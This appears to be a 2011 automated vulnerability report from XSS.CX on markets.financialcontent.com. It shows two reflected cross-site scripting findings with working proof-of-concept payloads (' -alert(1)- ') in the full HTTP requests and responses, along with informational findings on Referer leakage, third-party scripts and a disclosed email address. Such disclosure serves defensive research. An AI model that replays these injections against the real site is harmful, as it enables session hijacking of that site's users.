XSS, markets.financialcontent.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 08:33:52 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://markets.financialcontent.com/precisionir/ [GUID parameter]

1.2. http://markets.financialcontent.com/precisionir/ [name of an arbitrarily supplied request parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include

4. Email addresses disclosed



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://markets.financialcontent.com/precisionir/ [GUID parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://markets.financialcontent.com
Path:   /precisionir/

Issue detail

The value of the GUID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bd255'-alert(1)-'38310bc1546 was submitted in the GUID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /precisionir/?GUID=17744398bd255'-alert(1)-'38310bc1546&Page=MEDIAVIEWER HTTP/1.1
Host: markets.financialcontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:45:03 GMT
Server: nginx/0.8.15
Content-Type: text/html; charset=UTF-8
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Last-Modified: Wed, 16 Mar 2011 22:45:03 GMT
Expires: Wed, 16 Mar 2011 22:46:03 GMT
X-Cache: MISS from squid1.sv1.financialcontent.com
X-Cache-Lookup: MISS from squid1.sv1.financialcontent.com:3128
Via: 1.0 squid1.sv1.financialcontent.com (squid/3.0.STABLE16)
Vary: Accept-Encoding
Connection: close
Content-Length: 40879

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
<style>
/* Global CSS Styles */
.fc * {
padding:0px;
border:0px;
margin:0px;
color: inherit;
background-color: inherit;
}
.fc, .fc TAB
...[SNIP]...
;
script.src='http://tracker.financialcontent.com/track.js?Source=http%3A%2F%2Fmarkets.financialcontent.com%2Fprecisionir%2F%3FHTTP_HOST%3Dmarkets.financialcontent.com%26HTTPS%3Doff%26GUID%3D17744398bd255'-alert(1)-'38310bc1546%26Page%3DMEDIAVIEWER&Type=page&Client=precisionir&rand=' + Math.random();
head.appendChild(script);
</script>
...[SNIP]...

1.2. http://markets.financialcontent.com/precisionir/ [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://markets.financialcontent.com
Path:   /precisionir/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a5833'-alert(1)-'e3bc9a54975 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /precisionir/?GUID=17744398&Page=MEDIAVIEWER&a5833'-alert(1)-'e3bc9a54975=1 HTTP/1.1
Host: markets.financialcontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:45:08 GMT
Server: nginx/0.8.15
Content-Type: text/html; charset=UTF-8
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Last-Modified: Wed, 16 Mar 2011 22:45:08 GMT
Expires: Wed, 16 Mar 2011 22:46:08 GMT
X-Cache: MISS from squid1.sv1.financialcontent.com
X-Cache-Lookup: MISS from squid1.sv1.financialcontent.com:3128
Via: 1.0 squid1.sv1.financialcontent.com (squid/3.0.STABLE16)
Vary: Accept-Encoding
Connection: close
Content-Length: 86603

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
<style>
/* Global CSS Styles */
.fc * {
padding:0px;
border:0px;
margin:0px;
color: inherit;
background-color: inherit;
}
.fc, .fc TAB
...[SNIP]...
racker.financialcontent.com/track.js?Source=http%3A%2F%2Fmarkets.financialcontent.com%2Fprecisionir%2F%3FHTTP_HOST%3Dmarkets.financialcontent.com%26HTTPS%3Doff%26GUID%3D17744398%26Page%3DMEDIAVIEWER%26a5833'-alert(1)-'e3bc9a54975%3D1&Type=page&Client=precisionir&rand=' + Math.random();
head.appendChild(script);
</script>
...[SNIP]...

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://markets.financialcontent.com
Path:   /precisionir/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /precisionir/?GUID=17744398&Page=MEDIAVIEWER HTTP/1.1
Host: markets.financialcontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:44:56 GMT
Server: nginx/0.8.15
Content-Type: text/html; charset=UTF-8
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Last-Modified: Wed, 16 Mar 2011 22:44:56 GMT
Expires: Wed, 16 Mar 2011 22:45:56 GMT
X-Cache: MISS from squid2.sv1.financialcontent.com
X-Cache-Lookup: MISS from squid2.sv1.financialcontent.com:3128
Via: 1.0 squid2.sv1.financialcontent.com (squid/3.0.STABLE16)
Vary: Accept-Encoding
Connection: close
Content-Length: 86384

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
<style>
/* Global CSS Styles */
.fc * {
padding:0px;
border:0px;
margin:0px;
color: inherit;
background-color: inherit;
}
.fc, .fc TAB
...[SNIP]...
<p>
SmarterTools Inc. is proud to announce the release of SmarterMail 8.x, <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.smartertools.com%2Fsmartermail%2Fmail-server-software.aspx&amp;esheet=6647089&amp;lan=en-US&amp;anchor=a+Microsoft+Exchange+alternative&amp;index=1&amp;md5=7d76eda161427115af85fc945239bff9" popable="true" rel="nofollow">a
Microsoft Exchange alternative</a> for any business. The latest release
of their popular <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.smartertools.com%2Fsmartermail%2Fmail-server-software.aspx&amp;esheet=6647089&amp;lan=en-US&amp;anchor=mail+server+software&amp;index=2&amp;md5=b564c275a54066759223e738b508bd55" popable="true" rel="nofollow">mail
server software</a>
...[SNIP]...
<p>
SmarterMail is available at the SmarterTools website and through <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.smartertools.com%2Fpartners%2Fpartner-programs.aspx&amp;esheet=6647089&amp;lan=en-US&amp;anchor=authorized+resellers&amp;index=3&amp;md5=eecda7962c7be742b82516312b289374" popable="true" rel="nofollow">authorized
resellers</a>. A complete list of new features and improvements is
available by viewing the <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.smartertools.com%2Fsmartermail%2Freleasenotes%2Fv8.aspx&amp;esheet=6647089&amp;lan=en-US&amp;anchor=SmarterMail+8.x+release+notes&amp;index=4&amp;md5=c659640f16082fef51f6291b3a607ccb" popable="true" rel="nofollow">SmarterMail
8.x release notes</a>
...[SNIP]...
<p>
Follow us on Twitter: <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Ftwitter.com%2Fsmartertools&amp;esheet=6647089&amp;lan=en-US&amp;anchor=%40smartertools&amp;index=5&amp;md5=c9f7577c4e2744f5a5eb2eced46ec764" popable="true" rel="nofollow">@smartertools</a>
...[SNIP]...
<p>
Watch our videos on YouTube: <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.youtube.com%2Fsmartertools&amp;esheet=6647089&amp;lan=en-US&amp;anchor=http%3A%2F%2Fwww.youtube.com%2Fsmartertools&amp;index=6&amp;md5=49ce4902c30a8a3499da6a058636f483" popable="true" rel="nofollow">http://www.youtube.com/smartertools</a>
...[SNIP]...
<p>
Read our blog: <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fblog.smartertools.com&amp;esheet=6647089&amp;lan=en-US&amp;anchor=http%3A%2F%2Fblog.smartertools.com&amp;index=7&amp;md5=f09b9ee5597016741dc2a3d48b77903a" popable="true" rel="nofollow">http://blog.smartertools.com</a>
...[SNIP]...
<p>
Founded in 2003, SmarterTools Inc. is an information technology
management software company based in Phoenix, Arizona. SmarterTools
develops a <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.smartertools.com%2Fsmartermail%2Fmail-server-software.aspx&amp;esheet=6647089&amp;lan=en-US&amp;anchor=Windows+mail+server&amp;index=8&amp;md5=753dfcf21359acd124f726ecf17ba3d3" popable="true" rel="nofollow">Windows
mail server</a>, <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.smartertools.com%2Fsmartertrack%2Fhelp-desk-software.aspx&amp;esheet=6647089&amp;lan=en-US&amp;anchor=customer+service+software&amp;index=9&amp;md5=3858e9ddaccf462e4a8dea61fcdcfbb6" popable="true" rel="nofollow">customer
service software</a>, and <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.smartertools.com%2Fsmarterstats%2Fweb-analytics-seo-software.aspx&amp;esheet=6647089&amp;lan=en-US&amp;anchor=Web+log+analytics+and+SEO+software&amp;index=10&amp;md5=ee1830947b29223ebfa4d4bd225e4e56" popable="true" rel="nofollow">Web
log analytics and SEO software</a>
...[SNIP]...
p companies communicate,
measure, and support their worldwide business operations. Additional
information about SmarterTools Inc. and the SmarterTools product line is
available at <a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.smartertools.com&amp;esheet=6647089&amp;lan=en-US&amp;anchor=www.smartertools.com&amp;index=11&amp;md5=45670fe0032c618fc71f4715ff97e2fc" popable="true" rel="nofollow">www.smartertools.com</a>
...[SNIP]...
<p>
Microsoft Exchange and Windows are trademarks of Microsoft Corporation [<a href="http://cts.businesswire.com/ct/CT?id=smartlink&amp;url=http%3A%2F%2Fwww.marketwatch.com%2Fquotes%2Fmsft&amp;esheet=6647089&amp;lan=en-US&amp;anchor=MSFT&amp;index=12&amp;md5=ca906155f80a16d742609363657b0485" popable="true" rel="nofollow">MSFT</a>].
</p><p><img alt="" src="http://cts.businesswire.com/ct/CT?id=bwnews&amp;sty=20110315005734r1&amp;sid=6434&amp;distro=ftp"/><span/>
...[SNIP]...
<br />
<a href="http://www.marketminute.com">Market News</a> provided by <a href="http://www.marketminute.com">MarketMinute.com</a>
...[SNIP]...
<br/>
<a href="http://rates.banks.com/mortgage-rates/" target="_blank" >Mortgage Rates</a>, <a href="http://rates.banks.com/cd-rates/" target="_blank" >CD Rates</a> &
<a href="http://rates.banks.com/home-equity-rates/" target="_blank" >Home Equity Rates</a> provided by <a href="http://www.banks.com/" target="_blank" >Banks.com</a>
<br />
<a href="http://www.socialpicks.com">Stock Analysis</a> provided by <a href="http://www.socialpicks.com">SocialPicks</a>
...[SNIP]...
</script> <script
src="http://an.tacoda.net/an/18181/slf.js" language="JavaScript">
</script>
...[SNIP]...

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://markets.financialcontent.com
Path:   /precisionir/

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /precisionir/?GUID=17744398&Page=MEDIAVIEWER HTTP/1.1
Host: markets.financialcontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:44:56 GMT
Server: nginx/0.8.15
Content-Type: text/html; charset=UTF-8
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Last-Modified: Wed, 16 Mar 2011 22:44:56 GMT
Expires: Wed, 16 Mar 2011 22:45:56 GMT
X-Cache: MISS from squid2.sv1.financialcontent.com
X-Cache-Lookup: MISS from squid2.sv1.financialcontent.com:3128
Via: 1.0 squid2.sv1.financialcontent.com (squid/3.0.STABLE16)
Vary: Accept-Encoding
Connection: close
Content-Length: 86384

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
<style>
/* Global CSS Styles */
.fc * {
padding:0px;
border:0px;
margin:0px;
color: inherit;
background-color: inherit;
}
.fc, .fc TAB
...[SNIP]...
</script> <script
src="http://an.tacoda.net/an/18181/slf.js" language="JavaScript">
</script>
...[SNIP]...

4. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://markets.financialcontent.com
Path:   /precisionir/

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /precisionir/?GUID=17744398&Page=MEDIAVIEWER HTTP/1.1
Host: markets.financialcontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 22:44:56 GMT
Server: nginx/0.8.15
Content-Type: text/html; charset=UTF-8
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Last-Modified: Wed, 16 Mar 2011 22:44:56 GMT
Expires: Wed, 16 Mar 2011 22:45:56 GMT
X-Cache: MISS from squid2.sv1.financialcontent.com
X-Cache-Lookup: MISS from squid2.sv1.financialcontent.com:3128
Via: 1.0 squid2.sv1.financialcontent.com (squid/3.0.STABLE16)
Vary: Accept-Encoding
Connection: close
Content-Length: 86384

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
<style>
/* Global CSS Styles */
.fc * {
padding:0px;
border:0px;
margin:0px;
color: inherit;
background-color: inherit;
}
.fc, .fc TAB
...[SNIP]...
<a href="mailto:dcurtis@smartertools.com">dcurtis@smartertools.com</a>
...[SNIP]...

Report generated by XSS.CX at Thu Mar 17 08:33:52 CDT 2011.